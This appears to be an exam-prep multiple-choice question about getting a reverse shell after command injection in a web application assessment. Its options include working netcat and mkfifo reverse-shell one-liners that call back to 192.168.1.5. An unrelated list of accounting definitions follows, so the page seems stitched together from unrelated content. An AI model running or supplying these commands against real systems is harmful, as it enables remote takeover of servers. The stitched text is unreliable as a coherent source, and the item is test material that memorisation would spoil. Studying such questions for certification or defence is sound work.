During a Web Application Assessment, a Penetration Tester Discovers That

question 162

Multiple Choice

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO) .

• A) nc 192.168.1.5 44444
• B) nc -nlvp 44444 -e /bin/sh
• C) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f
• D) nc -e /bin/sh 192.168.1.5 44444
• E) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/tmp/f
• F) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/tmp/f

---

Definitions:

Bad Debt Expense

An expense recorded to account for receivables that are not expected to be collected, reflecting credit losses in the financial statements.

Accounts Receivable

Outstanding payments from customers for goods or services a company has already delivered.

Average Collection Period

The average number of days it takes for a business to receive payments from its customers for invoices issued, indicative of the effectiveness of a company's credit and collection policies.

Net Sales

The amount of sales generated by a company after deductions for returns, allowances for damaged or missing goods, and discounts.